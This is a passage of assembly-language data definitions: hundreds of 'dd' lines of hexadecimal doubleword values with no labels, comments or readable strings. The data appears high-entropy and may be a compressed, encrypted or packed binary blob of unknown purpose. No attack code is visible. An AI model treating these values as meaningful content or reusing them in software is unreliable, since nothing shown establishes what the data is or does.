dd 68A78331h, 810ACB86h, 4C1E1778h, 0D360C6C8h, 0BFE030FBh
dd 0E1DCD450h, 7ED5E902h, 81B1BC3Fh, 0F1CD0EA8h, 0FA0761B8h
dd 0D070EE59h, 772D405Ah, 0D0393A00h, 74135D93h, 48CE540Ch
dd 1E4A3D45h, 44815A80h, 0BF80AFCFh, 0BA9FD518h, 104ED1h
dd 2E25B768h, 16646296h, 0F82F291Eh, 45CD4281h, 88509538h
dd 10D879Ah, 0B36946BAh, 0EF0F393Fh, 0F601E172h, 3DABA358h
dd 0F820F9DCh, 1A22820h, 21E6B0h, 754903DAh, 3F838DFCh
dd 4BDC9450h, 0AA0FAC05h, 0FCC3A2E1h, 0CDFAA15Eh, 84E60430h
dd 803F8B27h, 64DB3CC8h, 43CF0028h, 4488E7D6h, 97002D38h
dd 250EC4Ch, 0C23B077h, 2C8940A3h, 21C0F008h, 0D80218C9h
dd 0DFD91EDBh, 0F113C1F8h, 706238D1h, 0B7F20C0Dh, 603C491Bh
dd 0B8100030h, 0A896BED8h, 7F7C3A42h, 0E1539318h, 6C0D21h
dd 5B5EAF01h, 83683760h, 21D508CCh, 174002Ch, 79AC10FCh
dd 8FF2E00Bh, 0C5E21800h, 0E2F465Eh, 0E72D03C3h, 712843C2h
dd 92B63818h, 0FF475118h, 0C1B20CF1h, 133075F0h, 0B0AA1102h
dd 8021887Bh, 0C021BFAh, 3501921Fh, 3D3F869Fh, 8082E82Bh
dd 0B27B4A4Eh, 0DC116C9Dh, 0EF1B439Ch, 700F0B5Ah, 610AA3D3h
dd 206336Ch, 113B1F0h, 60BD2224h, 80E94B14h, 5C0A7578h
dd 60B36A0h, 0BAD296EBh, 4F00E845h, 0D47A9C13h, 184D9779h
dd 0A0F6EF6Ah, 3900D75Ah, 0B12F2745h, 0E4FE6B5h, 0A8CBAA4Dh
dd 0C25D41A1h, 477EF4F0h, 0B598CA01h, 42D5CC11h, 7E862DF8h
dd 877539h, 0D8B4017Bh, 2CECB893h, 5BA1FB00h, 0C94D80A3h
dd 0E7D4FEA5h, 0DCAD0CBh, 908C7C30h, 7CE7CE8h, 0AB386362h
dd 0D2C9500Eh, 8D00BA28h, 2D47831Dh, 0C66F8BDEh, 20611208h
dd 8DBD4F00h, 313DDD3Fh, 44820063h, 0F851C737h, 1D0F654Dh
dd 20610730h, 0EE7F441h, 0F786D0E9h, 35861D7Ch, 1BC1CC64h
dd 82002551h, 0BA991CBEh, 0F59844h, 0B9E2C08Dh, 17EF65D5h
dd 55C7F31Ch, 8B04599h, 705CA9A1h, 8660F5h, 0F7112E5Eh
dd 5FD1179Fh, 7CA7610Dh, 80D9A82Ah, 97D73040h, 180260E5h
dd 2B6D5D11h, 0AD1D8C0h, 0A0F479FFh, 3F7B27A4h, 0D21F9E4Bh
dd 0DB510C09h, 92078618h, 973A1E05h, 0AE385220h, 632B0B85h
dd 6100F8DDh, 0EB23DECFh, 0B06858h, 4AF1DA3Ah, 0AE55D2h
dd 93B91A82h, 37CDA64Dh, 1591F500h, 590ED403h, 1B160056h
dd 66A8EC49h, 7F00AB48h, 55C64673h, 9FA0C4h, 1656216h
dd 9E393515h, 60BA8900h, 0BEA464Ah, 0C1800041h, 66A9AD45h
dd 7500B611h, 0BFE5B118h, 9A8D59h, 0EC7876F2h, 0E93EADA1h
dd 2AE20700h, 0AB759E0Bh, 0C6A00041h, 0E7363281h, 404C3BB7h
dd 0CA160033h, 0C1066029h, 2AF70062h, 7BC64F4h, 0BDE8F5ACh
dd 0F9A64A17h, 0A0CDBA0Fh, 3D81EB12h, 165C0F07h, 0F80FBA4h
dd 52C7A24Fh, 0A0F8BA09h, 0D18303D6h, 457CC057h, 4081F77Ah
dd 0B17D9964h, 74608362h, 0E839A9D2h, 556C52h, 0FE86EE4Dh
dd 8DE994CAh, 0BDEAF103h, 780C9FFDh, 0CFF60530h, 59E4D56h
dd 807D1714h, 20FDC4EEh, 193F590Ch, 0DF478AEh, 215053B3h
dd 0E41C0CD1h, 47192863h, 3FC00024h, 17BA5C3Ah, 7B33D273h
dd 0B7F79938h, 14C0F686h, 10F210DDh, 28A75CD1h, 0D24500B9h
dd 4DB601E7h, 0C4DA0380h, 0C675B42Ch, 7C642000h, 0BCA4742Fh
dd 624C2808h, 0A88200DFh, 5C057303h, 0B1C010E3h, 0C1D56A2Ch
dd 0B39C0387h, 9435B645h, 2524B8A0h, 0E351CE61h, 3081F0FBh
dd 3DC995E0h, 5189F004h, 81EA3Eh, 1CF843E9h, 5C3C2F74h
dd 4B189755h, 0FB107949h, 0F9EC6401h, 56B9B173h, 0B445A041h
dd 5A170F10h, 0AF983750h, 9AA7DD00h, 0FB13DF8Eh, 0B3F639D1h
dd 0D7BB9780h, 893FFA11h, 79E84F30h, 50F75D55h, 887B247Dh
dd 0D71FB114h, 1B82FDE3h, 49F652E5h, 44FF144h, 5D12ADECh
dd 0AC203DF8h, 0F99F9A0h, 34FCF106h, 0E3240092h, 0E9608140h
dd 92055E12h, 939F6803h, 0FBC1EFD2h, 29883E58h, 5988863Ch
dd 11C2B89Bh, 28213174h, 90964C08h, 14A084BBh, 684E2448h
dd 84C79093h, 0F044491Ch, 0DB4F0082h, 0C034DCh, 51C4CCB3h
dd 0FA1F3C30h, 0A4A59400h, 751B1570h, 0A8DF0E6Bh, 1EAF6EABh
dd 20E5F927h, 0A972A4A0h, 0C2F7051Ch, 70C381BEh, 41992317h
dd 0FD8ED8h, 22868090h, 0B391A352h, 45555F00h, 849BFEB1h
dd 0C78A2E35h, 58D70016h, 11B7EC70h, 1B32E301h, 559A746Eh
dd 0E8E472E1h, 0DE200053h, 624EEFBDh, 0FC002248h, 0FD6B099h
dd 2B5998h, 0A297FAB5h, 69508E72h, 64CC9250h, 0A66A9F00h
dd 0B663C1B3h, 0C820000Bh, 0DB921524h, 2B60AA70h, 0A8415468h
dd 8C4D0146h, 0BDCFE23Dh, 0A63EEC8Ah, 7A18DD76h, 8B1089D2h
dd 0D819000Ch, 12DA52C8h, 70025BAAh, 66E5234Bh, 6B0C4063h
dd 68E2FDh, 65E7C67Ah, 2708D202h, 771C2201h, 23497CD5h
dd 0D7250983h, 0C54F72h, 8EAFE0ACh, 4C3E3C59h, 0CE99815Eh
dd 0D6E62030h, 0C8E42BD9h, 39452CC6h, 0FDF80025h, 52AD9A7Ah
dd 78C600Fh, 5B2A8768h, 9BB4BA41h, 0E08047D9h, 0FAFEC1D4h
dd 0A904402Eh, 8279A02Ch, 0ACD12801h, 0DA57F41Dh, 0A8494428h
dd 9F0FF07h, 9BE03C43h, 78D03E5Fh, 8926004Eh, 0FABA971Bh
dd 643DA82Bh, 820D809Ah, 0EB8C533Bh, 0B5AE027Eh, 28ABB62Dh
dd 0D839B8C0h, 3E00D1E2h, 0D508C24Bh, 0AA5BAB5h, 975D53ACh
dd 5F3F0BD4h, 0D0C48D87h, 4133985Bh, 9E10E801h, 13787BAEh
dd 0A7F000FBh, 193B62EFh, 6A000777h, 0CC83F3D0h, 0FE2A8E8Ch
dd 0A998F4h, 0BD5FF7CFh, 0E33A3E5Eh, 0F2527000h, 5046E22Eh
dd 0C0EC00B1h, 0CC86D660h, 37E40928h, 8E012C79h, 256E53C6h
dd 0F853C09Eh, 0D1CAF8E7h, 0A68A06BBh, 18885F2Ch, 440370E6h
dd 2E55FAF3h, 0BCC4F369h, 0CB3B0CC0h, 0A39E0C84h, 6E087F4Fh
dd 0E0A01876h, 533AC2F0h, 5478780h, 0B730144Dh, 1F38F541h
dd 836A2AA5h, 4431CF74h, 94C59C00h, 29681411h, 0AF320941h
dd 2854AE54h, 52737100h, 28C8475Ch, 0DC50FEh, 295BB13Fh
dd 6D9184CAh, 1C00A9ECh, 0CEF249B5h, 0E932BC9h, 7ED50644h
dd 22981A80h, 0FC003CB4h, 702AA2E6h, 0A41183D1h, 0D670098h
dd 0A04D498Fh, 0A84947ADh, 29B40085h, 0A418F572h, 64680A83h
dd 80F3C7h, 6A435754h, 3100D396h, 0A561497Fh, 107A394h
dd 8E295F12h, 0E0B42F80h, 3E00A0EEh, 8A4F9C7Eh, 44E1Ah
dd 68E549FDh, 0FE0FBC80h, 8900C27Eh, 0F89C2036h, 902F673Fh
dd 4A3C4088h, 70DD9600h, 57082E3Eh, 8A6A0049h, 8CEA8113h
dd 0B0009897h, 0D3222679h, 23C5C2h, 6DC3C0E9h, 7C4247E6h
dd 80F5D73Ch, 8EE7CFA2h, 0E890C4h, 96B7D62Fh, 0A5F70EBFh
dd 49621A00h, 2E3CA8B3h, 4A73002Dh, 84CDA194h, 0CC1F19F5h
dd 494092C1h, 0D45C7F1Ch, 85DB5096h, 7530008Eh, 698001B5h
dd 1600CAC5h, 0BD612E76h, 0FABC87h, 84989926h, 0FB0F193Ch
dd 790B10C0h, 12752AEh, 7BAF3108h, 74F0AD69h, 20169404h
dd 4C09C4DFh, 416418B7h, 0A7A88029h, 9AD15A00h, 589C558Fh
dd 0A438003Ch, 46ED785Bh, 3000D4FBh, 0FCA39084h, 39058086h
dd 9789F48Bh, 24005667h, 0A9C8765Dh, 2F666100h, 297DBD55h
dd 0C47700A7h, 743F0203h, 0CD75EFA0h, 9D070477h, 0EE6FE20Ah
dd 881E5553h, 0FC2771h
dd 0ECE352Ah, 0BEDC0349h, 4D21C603h, 0A8A514A2h, 12FACDh
dd 0BB346A4h, 7E5EAE80h, 2EB24300h, 78C004DFh, 627000Eh
dd 50C8A3Ah, 9D03FC72h, 0CB21D8CDh, 0B64DA898h, 777CB8h
dd 246F0A15h, 4005B14Ah, 3300D979h, 6E85E82Dh, 3F375BD0h
dd 0BA0E0B73h, 0D203F80h, 96A6124Ch, 0C0797E00h, 0AA2B29DEh
dd 0E4051DA5h, 0BA1900B4h, 0DA630B02h, 234D0700h, 13DBFF10h
dd 0D2B00025h, 311DBD17h, 0E0000148h, 0B9FCF34Eh, 7724B4Fh
dd 0A55AE83Ch, 6B673099h, 9C0F8684h, 0E025B6FAh, 0D8AE3B7Dh
dd 8DAF005Dh, 51A15BD7h, 6300B2A0h, 5A44642h, 79843F1h
dd 1116C18Fh, 0B475D367h, 0F5D46EF0h, 0C5189F60h, 0D033EAh
dd 12066698h, 99563263h, 0D602EBFCh, 535F0E2h, 32850CAh
dd 6486A29Bh, 0F6FA1E7Fh, 42740440h, 80F2593Bh, 0C7710ED9h
dd 8B9B22h, 0D3F5FD1Eh, 0BF5C2FA3h, 46D14007h, 0B2E0E63Bh
dd 0B00735A1h, 0B4BE4C0Ah, 400F0072h, 0DAC3DC57h, 0B03B91Fh
dd 9F1BAB37h, 2A2FE142h, 0BA960C0h, 0E112DB2Dh, 0BC7304A0h
dd 0C8021FC3h, 0D3D2304Eh, 0B07443F1h, 7966F7Bh, 6B1E07A5h
dd 51805B15h, 467D2B7Fh, 0ACA2F200h, 48C3A85Ah, 4AFA0003h
dd 0C7B674FEh, 393ED859h, 4CCC9D85h, 6E92A080h, 935BE62h
dd 66848020h, 0D5E0F82Eh, 50BB91C2h, 17862E00h, 264DE030h
dd 75FF00D8h, 141B473Ch, 5AEE3134h, 33AD8F03h, 908767EFh
dd 7436Ah, 0FC64B25Fh, 913C7D30h, 9C00B0B2h, 0B7F614F7h
dd 1FE7E52Ah, 4026F83Ah, 20C0C3E9h, 1B0BF3D2h, 15CA905h
dd 860C1926h, 1AD06AC9h, 58E900FDh, 16A43F1Ch, 423A6E47h
dd 0C900F35Ah, 2DED20E3h, 0EE708h, 0C4E659F1h, 8A9FFBCFh
dd 6939C60Fh, 0FE74A31Bh, 0C89AD9DFh, 2B6AC4h, 94F65C79h
dd 66DB734Ah, 0C39ED112h, 0A0FF0C0Eh, 0FA83488Ah, 0F2DE001Ah
dd 5D56A880h, 0BE013AEEh, 36CB4DD2h, 5570AFE7h, 973700D9h
dd 44B39028h, 4F004B8Dh, 95B667EAh, 24B24281h, 0CB11Fh
dd 0FE34237Ah, 0CC245291h, 4A0008E4h, 43CD63BFh, 0D7F90955h
dd 0E8A0B607h, 0C394CE8Ch, 7128E261h, 42DC3306h, 0EB800C6h
dd 0C581DEDBh, 0CB00737Dh, 245580C7h, 0E0A171h, 433767A6h
dd 2D6D83Dh, 0BA997B02h, 0E07917D9h, 1EF681A8h, 404861E9h
dd 712C368Bh, 8505A9FFh, 0D7675073h, 0BB0EA91Dh, 0CC6940B1h
dd 0CA0EF18h, 0AC212732h, 4803A209h, 0FD8CA8F2h, 66DAB018h
dd 0CCFE4CA6h, 0ED6CF802h, 8063789Ch, 939B08B0h, 0F7920624h
dd 0FB284C00h, 2683DDF3h, 1E217977h, 91807BF1h, 3C08520Fh
dd 4A004168h, 0E6A50ACFh, 115BB7Bh, 45D99923h, 0F190FEA7h
dd 7880CFC9h, 0E27265ABh, 0FA166B00h, 6C06790Fh, 0EC010092h
dd 0AD27D521h, 7130B814h, 80E96C88h, 5CB7125Ah, 0DBB000FDh
dd 0BE744B75h, 541A9A00h, 648FF56h, 4FCF007Dh, 0E1D0FBCEh
dd 140081D6h, 0E9206A5Fh, 195FA24h, 0B7DB7597h, 80CF3509h
dd 615D44A0h, 0F73BE94h, 10C43E8Eh, 0A60C1560h, 9F07BFE6h
dd 59915765h, 1AD14830h, 0FD9D006Fh, 0E1B6ACA9h, 6304E0D8h
dd 0A27BDB1Ch, 0E8DCA0h, 0C0B3F36Ah, 0D5398BE2h, 0D8B02002h
dd 480B0ACDh, 630624h, 788BB43Bh, 1C2FBFC4h, 0A6BD6F00h
dd 7C8AA09Ch, 2E0965Ch, 0FA377253h, 0C81ED483h, 0EB61F100h
dd 2B63E7F2h, 76A92EF3h, 0B9170024h, 52BEF1C4h, 2C12AE70h
dd 50525D39h, 69760100h, 5C911077h, 2D004655h, 965F40FEh
dd 0EF0A4466h, 8C181653h, 0CA0F5C07h, 0DF0E5990h, 7E2A00EAh
dd 4BDA9DC5h, 0E33B6314h, 0DBB30F97h, 0AC62A03Ah, 588628h
dd 0B81A5C7Dh, 6B373C2Fh, 1B25FC00h, 0B76C7093h, 99F50017h
dd 0D52F4EFFh, 0D83097E0h, 2C540928h, 81BA006Ch, 1471DC2Dh
dd 7225F21Ah, 233C8E16h, 90BD6036h, 0EFBB73h, 935549A1h
dd 9E90A51Ch, 91A41500h, 2847E3E2h, 14BE00A8h, 226E80F4h
dd 3C381C1Eh, 634B801Fh, 0CD1930Bh, 4F830014h, 1073A3A0h
dd 8601EB3Bh, 842233F6h, 8CE07C88h, 0C14D07BBh, 0CA8BB88Dh
dd 73AA6EECh, 2A8980ACh, 92F6AEDBh, 5C0F9A00h, 9E6D9809h
dd 0CE8B00A5h, 0D64FD810h, 4D0061DAh, 486EBB5Fh, 0DEA60h
dd 4431F4E6h, 5678CADCh, 272C9A00h, 9190FA12h, 6879120Dh
dd 0AF040558h, 16C18004h, 4A009BFDh, 6C926A6h, 1DAC94E8h
dd 0DE43C549h, 0A05DC7E4h, 3755317Fh, 0BE02D831h, 0FAC64900h
dd 0D94A6923h, 0CE030094h, 6EE11F84h, 431D529Fh, 73009944h
dd 0D2618FDFh, 77FFAC9h, 58C61D56h, 4F3C50B3h, 9E30FB37h
dd 0D01FF805h, 5A070E3Bh, 47C0F6EAh, 34BACA4Bh, 9A319260h
dd 0FCBE7E52h, 94EEC5Dh, 61E4AC07h, 9280FC0Eh, 9598F12Fh
dd 571E8509h, 0E08C0F50h, 0C1BFF675h, 74CF3A32h, 673A9E00h
dd 87C03DB9h, 0EC64B626h, 7D5D0B00h, 6E6D43C9h, 0FF6090FBh
dd 21453D1Ch, 63AB8100h, 51D707E9h, 0E62072DCh, 0C1B424B9h
dd 8613E0h, 4B5D9FACh, 6500E7CBh, 0FC48254Eh, 7D77D05h
dd 0E2E3F69Ch, 54C1600Bh, 0C712D04Fh, 0D100612Dh, 0EC6A1926h
dd 0A7DA0088h, 301434DDh, 0DB12B159h, 0DC43FBCBh, 90B02F24h
dd 6F36EAh, 881079CCh, 526114D5h, 0BB26ACB8h, 0C42608Bh
dd 0C0CC4A9Ch, 26871619h, 3C1135h, 5D6D010Fh, 8B096E5Eh
dd 0A09BE550h, 0C04F8934h, 0D09D0091h, 15CA4EFh, 0B4030CF0h
dd 0FCB19F36h, 57E80573h, 1C5A9413h, 0B4F94C88h, 0AF0C64A0h
dd 0B05D5865h, 268FE0CEh, 24710Dh, 0D4BDC3F4h, 2D025FC1h
dd 76251C32h, 83605966h, 0BD52C8D7h, 98E1B6FAh, 0DB5110E4h
dd 5838003Dh, 0A3CD7A90h, 3CEA7DB0h, 0D6FFDA00h, 0E264F4D7h
dd 0CFFB00E0h, 0D5187BD9h, 2C72379Dh, 0A368A52Eh, 0B03E5600h
dd 1E83999Ah, 1BD3Bh, 1EEEE120h, 23136094h, 6079E25h, 29F0329Bh
dd 0C033CE69h, 0B3B9BC5Ch, 0E701C037h, 3ABB9D36h, 9C381C08h
dd 635EBFE0h, 0F4CF9101h, 5852F24Eh, 51009438h, 55A00C5Ah
dd 9F004559h, 3CFBEF30h, 0F89D3AB3h, 0A09C19h, 6090BDBCh
dd 59029832h, 88DE4752h, 0BF044886h, 5C94EC1Bh, 844D8ECCh
dd 0C7533B00h, 0A4732C21h, 1D138E06h, 7082ED0h, 0F69657CAh
dd 1082874Ch, 6CE1279Fh, 76F8990Eh, 38B434C6h, 35E68340h
dd 98680CC1h, 9A1F6Ah, 0DF536D8Fh, 2228C9E4h, 0D1BD920Ah
dd 0E800D85Fh, 980D8FDh, 0ADA20083h, 558F6A33h, 7079EF63h
dd 99002EE4h, 119E58Ch, 175B1F30h, 1F04FBF5h, 32C74048h
dd 9EEBA561h, 75023Eh, 84C6FF11h, 969D06h, 0A66B97B6h
dd 44CF3F27h, 2ACC39h, 4B31D2FDh, 0A60C4B7h, 0D0F19705h
dd 0AAB3008Ch, 26174C5Fh, 8C08EBA0h, 71004AE2h, 0E8FF0EFAh
dd 2D9F59h, 85D683CEh, 779BFB08h, 0B97745Ch, 0E2E0FEh
dd 3EC98A74h, 2B66176Ch, 0B6DC0194h, 3C57EA58h, 6B3839Ch
dd 3FDEC88Ah, 95D505ADh, 547749h, 0FB268D8Ch, 35006BC6h
dd 0CFF9F7B4h, 0C388E7h, 0E3C57752h, 0F386A987h, 0B2290C0Fh
dd 71879F4Ah, 0E2F6F545h, 0FF7700AEh, 2735AECBh, 0C800BE22h
dd 17FE664Ch, 759D601h, 30159D6Ah, 0F9082075h, 200F880h
dd 0E81AF51Dh, 1E8544BFh, 938B203Dh, 2D1F13h, 596C097Ah
dd 0B905F0D0h, 0A4505AEh, 0C448F500h, 93AB2Ch, 0EA7029D2h
dd 0FA1D495Bh, 2E33DE0Eh, 3E5160DBh, 0FC7CA8BEh, 6C300738h
dd 0C04B0126h, 3CDC9922h, 67FD7A17h, 0B7C37084h, 275D88C4h
dd 901E4DB3h
dd 537CBA00h, 0C0C1E91Ah, 0B769BF07h, 872603C5h, 0A3F20320h
dd 0B8F138ABh, 1DEE45A0h, 9E05F700h, 2F866E8Eh, 3108C384h
dd 0E6905294h, 0D40004F1h, 4A1CF3A3h, 0D9579Eh, 0C463B325h
dd 68E1299Bh, 8215A500h, 5A6F5CA8h, 86F800AAh, 61D9699Ah
dd 3C7B5746h, 73EEA200h, 1FD428ECh, 37C30ECFh, 164750BAh
dd 7A5A73EFh, 0C46E3389h, 4679E923h, 80F4A738h, 4287BAA2h
dd 20DDBF1h, 83BB6BF2h, 7C6093F9h, 0D10E0A07h, 20B8E626h
dd 0CCB07B6Dh, 11490D3h, 641254B6h, 0D93705B1h, 2F60CC0Dh
dd 0F48F2703h, 780B5D38h, 55071828h, 0BD335009h, 7069BB05h
dd 6CF095ECh, 42D89EFEh, 0FC0CDA8h, 2E820B9h, 500F44B8h
dd 0A0D55172h, 5F31C4E0h, 78A298E7h, 0F46500C7h, 53418A84h
dd 1E4825F9h, 0BC2C50D3h, 3F0BEF07h, 0D371CE09h, 74D4DCE2h
dd 17D7E9Eh, 51795999h, 80A3015Eh, 69D12411h, 0A565E9h
dd 234AD777h, 0CB4706B5h, 965BEF3Bh, 0CC2F7ACh, 5E54C694h
dd 0E53C078Eh, 8214E0F5h, 987C11A5h, 76FB0D0Fh, 80A0A978h
dd 702EFEA0h, 9874725Dh, 0E4010094h, 0C248BA0Fh, 324A7BDEh
dd 8C439852h, 6CE315h, 0B39FA209h, 0DA71039Eh, 0D3679C00h
dd 5CA7AF36h, 4E43287Ch, 188B00B0h, 602F7A88h, 143CE521h
dd 0C930824Dh, 0C076AC22h, 44F8E0h, 0C090A475h, 7F4A559Bh
dd 4509B607h, 1130EDE1h, 177E08A8h, 1134F34h, 3593302Bh
dd 0E7C2C87h, 0E0A8802Dh, 0F59B0B2Eh, 167C0272h, 1E109369h
dd 0E226D540h, 8494F750h, 58797601h, 0E82AFFF4h, 5862E052h
dd 8048542Ch, 0A1370E99h, 0DD7F87E5h, 894DC1C2h, 0C0D83D3Eh
dd 0F798C1EEh, 677A8403h, 0B82314CFh, 0D2624Dh, 0AEABA2FDh
dd 751BC98Bh, 0CC05022Ah, 9807CC1Ch, 21683C8Fh, 0C2601043h
dd 507A83ECh, 1A1D83Bh, 0E6F14849h, 0FCBA96A8h, 9B0BEA78h
dd 7ECF40Dh, 2541ADB8h, 980ACCEh, 623F0261h, 5A099926h
dd 0FF408Fh, 2F389AF4h, 3DEEAFh, 0AE48A84Bh, 8E532010h
dd 0FCB25015h, 401221ECh, 0B7A28D82h, 66B13824h, 0F609F502h
dd 319C4081h, 95F30042h, 394577CFh, 0ED0E2E43h, 8C21A8BCh
dd 724C14AFh, 0DF440088h, 8A33CAB6h, 0C9006846h, 0F3DBCFD1h
dd 58111A18h, 0F04C8338h, 1794E400h, 0A65168BEh, 50DAA50Bh
dd 5F72811Dh, 0A17080E0h, 0AD7C03E4h, 9D96A06Ch, 0C66F7AE0h
dd 0C031B900h, 50C48F0Ch, 3CFE0EC8h, 0E3A01222h, 0F410FDF7h
dd 8B4DAB00h, 0CE5CB2BBh, 0EF8B266h, 35C24737h, 489890F7h
dd 960118E0h, 8B607256h, 9FC00315h, 237A0207h, 91FF7F11h
dd 837470C8h, 0AF221600h, 37C9DD2Dh, 0B067742Fh, 0EB32086Ch
dd 5CC55248h, 298B490h, 4913014Dh, 54764CE7h, 801468A2h
dd 39E98CE4h, 2B690596h, 0D0EB6CF6h, 5DBE29D8h, 0B85A3A01h
dd 0B5138A5Bh, 3A583A60h, 5E04E510h, 979A6A90h, 76007928h
dd 362F1EBEh, 479B2C00h, 9D8D0CADh, 1A7B00FCh, 0D8513895h
dd 91FE01F5h, 0D03E5901h, 0D6F3A82Bh, 3D24D0h, 0D969517h
dd 31B737D7h, 0E800C470h, 3A0F2AA8h, 0FE43A7h, 0F34EB43Eh
dd 3444F03Ch, 4549B31Ch, 8FDC1C0h, 0AB676Eh, 5FE07935h
dd 7A611F87h, 7309133Ah, 0E62EAC00h, 756AEDDBh, 60F7077Eh
dd 80A027E9h, 78A71E5Ah, 9034EC1Ch, 96778203h, 9828026Dh
dd 0BFC1998Ah, 87059050h, 5E300B58h, 2518890h, 8D313090h
dd 584C0311h, 0FEACFC0Bh, 29D49896h, 9EBB3007h, 14A66F10h
dd 4A3E029h, 6D0618A0h, 0A2EE1EA0h, 75F810h, 0DA72D0AFh
dd 77DC43B6h, 91CB1178h, 0D150803Dh, 16F01AA0h, 161C5FCh
dd 0D7F243E0h, 0CBE6D092h, 0F100189Ch, 49FAE4DDh, 60B07D57h
dd 44400882h, 0FE0F90CDh, 0C27301CAh, 405F0E1Eh, 98B0DBD8h
dd 0FB28C02Ah, 5E7FCDE8h, 0B1FDD316h, 37400E1Ch, 0C471B7FCh
dd 586A01BAh, 84FBBD3Bh, 0B07EE4ADh, 0B5F98703h, 0DB44C5D5h
dd 7A4FC8A7h, 4560A117h, 6C08A895h, 0D7BC3B84h, 384A86A0h
dd 0C7A24300h, 0BB81E339h, 0EBAC0147h, 0B2F489C4h, 0E9B9F4C3h
dd 0AE253F07h, 0FDD1CD43h, 0E6E817F5h, 3287713h, 0CAF0325Ch
dd 5ED0950Fh, 5000564Ah, 6CCD1CF4h, 0FD3053h, 3F5AC623h
dd 0D66A70B3h, 2AFACC00h, 2B65565h, 2F530FF6h, 6BE0C030h
dd 19AE9D0Ah, 316D3A00h, 0F32C5FE5h, 14203C8Bh, 5384800h
dd 0FB0655B6h, 441C47ECh, 61C10B95h, 355B250Eh, 5E9E7F0h
dd 0E20ACD2Dh, 0D8FFC04Eh, 50F92F9h, 80731F76h, 52FC4A43h
dd 7F3F3CD6h, 0F529EB0Fh, 3C066E00h, 98A8BD7Ch, 0B71F659Ch
dd 0AA8143F9h, 0D83A3B56h, 25C44D2h, 0F4B54D8Fh, 26E2D709h
dd 4FDB08A0h, 570AD841h, 0B8C9D2BAh, 90BF3880h, 76CE1C83h
dd 7E4A011Fh, 78CAFCBBh, 0F60C2016h, 9F40BC12h, 0C4002C24h
dd 68DB20BBh, 0E3F8191Ah, 94CC0890h, 39DA9121h, 4433C8Dh
dd 0DD4FB5E6h, 0B00188E8h, 0FB9B1A4Ah, 0F1818ECAh, 0ADE6C0E3h
dd 31F756ABh, 7B21865Bh, 0DD185ACh, 3380DA4Eh, 3740FA4h
dd 7398BD05h, 26D042F2h, 293D8DE9h, 1EFD81B1h, 0F5DE6D64h
dd 0FFD1618Fh, 24801D72h, 97770C6Ch, 809DAD08h, 0FDCD3600h
dd 0F537E89h, 0BE52063Dh, 59F65000h, 0E360A13Fh, 0AFB674B8h
dd 166900E0h, 0E7CD5ECh, 0BF79B17Fh, 9FE71F00h, 626B6D8Ch
dd 2F8F00FBh, 0D84B4928h, 0AA1CC290h, 2141E6A7h, 2BDC56E7h
dd 5E9B3080h, 0AD6C2F08h, 0EEA47E00h, 9E80F554h, 13E706B6h
dd 58F13F74h, 7568111Dh, 0F6022C1Fh, 39AB70h, 0DD57D7A4h
dd 3ED551C0h, 0BB646Fh, 1242ED6Dh, 0EF3C5BA1h, 7ECFC858h
dd 1E307A00h, 6EB2EAC0h, 693200D2h, 6C1B9C35h, 0AA30DD90h
dd 7A2C70D4h, 8E7021Ch, 24501E2Eh, 0D034B161h, 0C207767Ch
dd 1F6D52Ch, 842B89F0h, 95684C13h, 0C17BA701h, 83D298DAh
dd 47283549h, 940EFABh, 0F2F6D92Dh, 8CDA544Fh, 0E729C0C1h
dd 0C6D043ACh, 259D58h, 0CE227CFh, 0F5D8156h, 7B5C644Eh
dd 4389001Dh, 0ABCC9F60h, 2DA06601h, 2EF87F45h, 21805ED1h
dd 98CDA7C5h, 2100B3D6h, 0EFEE8044h, 631BC4Fh, 736EDF02h
dd 5946598Ch, 0E8CC1A7Bh, 2C245068h, 94C04063h, 18285CCh
dd 48CFE044h, 0C403691Fh, 5C700A54h, 8ADE28C0h, 43F4E5h
dd 630E1BE2h, 3F80B706h, 52202B67h, 0E0506666h, 0A30E18EFh
dd 629A2058h, 442A2504h, 0BA4064E2h, 0B8CDEA8Ah, 841080E9h
dd 0F12080E8h, 1250CD5h, 68084D39h, 0D09B31C0h, 1BB9880h
dd 63FF31C8h, 81666DBEh, 41B61060h, 96C0ACE8h, 63B3E1Dh
dd 42DA2485h, 8888206Eh, 856E36ADh, 84C0BF10h, 2055874h
dd 0B69C0381h, 0EB8F1779h, 6B33E7F8h, 0A5C99603h, 0E011B07Fh
dd 797AC123h, 0CA80F0Dh, 69837448h, 20786CD3h, 54B3090Ch
dd 7331A0h, 0BB409EABh, 0A4DDAE28h, 0AC49D200h, 99EAB11Bh
dd 46FA03h, 0EE260BBEh, 85F97B50h, 0E00055FAh, 0F3EFD40Dh
dd 14EBA0B5h, 14B8AD04h, 6BF1DF0h, 0B029423Ch, 6C10980Eh
dd 0C6441E5Ch, 16B646CFh, 9A03B176h, 42C39753h, 9C15E10Ah
dd 6D8F0C51h, 21869808h, 6410B193h, 88D0E3CFh, 2BC28F80h
dd 0A3D69A8h, 8809CDBFh, 0B1BDAF85h, 0F3940Eh, 4B5BFE44h
dd 6A8A30C8h, 39B45520h, 6D15C903h, 0A47B514h, 22878C50h
dd 4FF39DB0h, 4BA30D76h, 81C14CA5h, 0E317E178h, 0CFE053CBh
dd 38C332CDh, 0C12DA511h, 8403A8Fh, 44C2BF76h, 41008D31h
dd 2538B794h, 1842071Ch
dd 0C973A927h, 8603C1F0h, 370A458Dh, 7807C95h, 412D22AFh
dd 0EB5120CBh, 0F01BE35h, 0FD122AA5h, 2980B327h, 9914BA50h
dd 340CA649h, 88E32A8h, 73D0A8DCh, 121400B2h, 462627BAh
dd 0B00CA003h, 814E4D6Dh, 5925016Bh, 4F51F5E9h, 68A84061h
dd 4B48275Dh, 89CE0A4Ch, 1789CC1Fh, 0A6480799h, 81AFB881h
dd 59D5410h, 2C070107h, 2E0FD46Eh, 217B8C31h, 5A504E5h
dd 0C0166A2Eh, 5ACC41ADh, 0FFC5DA01h, 0C9127AABh, 0BE93D180h
dd 24D90765h, 4CA8F101h, 68E3C395h, 8BD8080h, 0B35F21CAh
dd 11C10B60h, 24816AF6h, 81000E54h, 0A4F39828h, 1235F48Fh
dd 34EEC71Dh, 7314518h, 0F7F400D0h, 0A9777EE6h, 8501EB78h
dd 51D6B13h, 0F88C469Eh, 0F651DC54h, 0E394CF03h, 0EBA822F1h
dd 24EFA8C8h, 651D0CB3h, 0D73034FFh, 0A9B2480Ch, 319945h
dd 0F51E41E2h, 8C948E5Eh, 4883CD3Ah, 804B8B6Ch, 0D2F6BD93h
dd 21F700E5h, 0AA0158Dh, 0F4A0629Bh, 0F926F541h, 4B000427h
dd 1C1E7BD2h, 0FCF028Bh, 9060F17Eh, 72A839E0h, 4CB42E00h
